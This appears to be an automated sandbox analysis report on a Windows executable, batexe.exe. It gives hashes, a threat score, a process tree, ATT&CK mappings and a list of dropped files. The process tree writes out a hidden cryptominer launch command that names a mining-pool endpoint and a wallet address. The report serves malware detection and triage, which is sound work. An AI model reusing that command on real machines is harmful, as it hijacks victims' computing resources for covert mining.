73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 08:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1808	b2e.exe
4164	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4164	cpuminer-sse2.exe
4164	cpuminer-sse2.exe
4164	cpuminer-sse2.exe
4164	cpuminer-sse2.exe
4164	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4572-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 1808	4572	batexe.exe	73
PID 4572 wrote to memory of 1808	4572	batexe.exe	73
PID 4572 wrote to memory of 1808	4572	batexe.exe	73
PID 1808 wrote to memory of 4384	1808	b2e.exe	74
PID 1808 wrote to memory of 4384	1808	b2e.exe	74
PID 1808 wrote to memory of 4384	1808	b2e.exe	74
PID 4384 wrote to memory of 4164	4384	cmd.exe	77
PID 4384 wrote to memory of 4164	4384	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E290.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\b2e.exe

Filesize
12.9MB

MD5
c1cb706ea6629d5cfde02c3fda2fd9d3

SHA1
3b7fbda0cd0ab5b762943b546ae6a258ab838713

SHA256
19e96de58d2d728e864e8c6f7f719f23402a73d1c207610106d3d1f1302aeb24

SHA512
8957e3dcef319d2a15ad5680d80a6af91784b6d003d3831687a24fa3a2817ad582470e26ffad29ae835a16aee0633e4adbbaec01064c649a377fc54be810af9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\b2e.exe

Filesize
4.1MB

MD5
55075aad2654558e78c79389d328bd6c

SHA1
3c49741995c4eedb25ab33cc269abeed7e5a00b8

SHA256
778ee0f65897dd81fdfe44499a01fd879b1c237acb9015a4b8afe1020809e440

SHA512
0060002f1ddd8ba3d108c627afb31818998a107e866db7bf1de6ce534e4974c520e8a4a34a0925c1ecac868c5f85543afd169b1ad77b81521b88049bf784ec5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\E290.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
e01f40bb79dc8319fe748f1eec9a08c3

SHA1
d351759a6e1c42ee4bee8fe872f8bdbf34b26e8e

SHA256
7fa4b7bf99a5e7b41c17640f0ec474bf63cf22cb69d26be61d6611752e354ff3

SHA512
ee75d6d6f38a46717dc0b72e1ac949a804d117f27b7a72f973d892ce671551d636e80421f526e85112bf321401ee757ae9378918c23694f83ccc0b4c29d5cfce

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
cf31eeb9754390d2d235192b936aec14

SHA1
f9107a249e57a65a36ea97d23ab303b5f47a4ba5

SHA256
85ed620f3e21288ff33a6cf5b6528094745e60d454e258c7d825493774e0aef0

SHA512
0f7adb141a3b1f7ea34e3bfeabb818aa9e2503939ecdb4efd121d2163d756ea4f65185b00f7874fbe1e595aee6bda043e5db0c643f8d19e482f540234d2d2b0d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
2ca346b262034f9da9be416b30eb26c7

SHA1
6aacaef9d9eea6d4dd20af49d78dad1d70831ce7

SHA256
58c91e911d811cef43a599ac1c5aa5ec7be06e778be4d95fe69190374d897b52

SHA512
e02a028dcee392035dec327806fc25732c729d20c5d4018031ca6b9c5897a6d33a609a8280eb9813f6ee87154c6e5f095693543b18108c42f6155f6d053a906e

Download Submit
memory/1808-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1808-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4164-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4164-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-42-0x000000006D6C0000-0x000000006D758000-memory.dmp

Filesize
608KB

Download
memory/4164-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4164-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4164-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4572-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download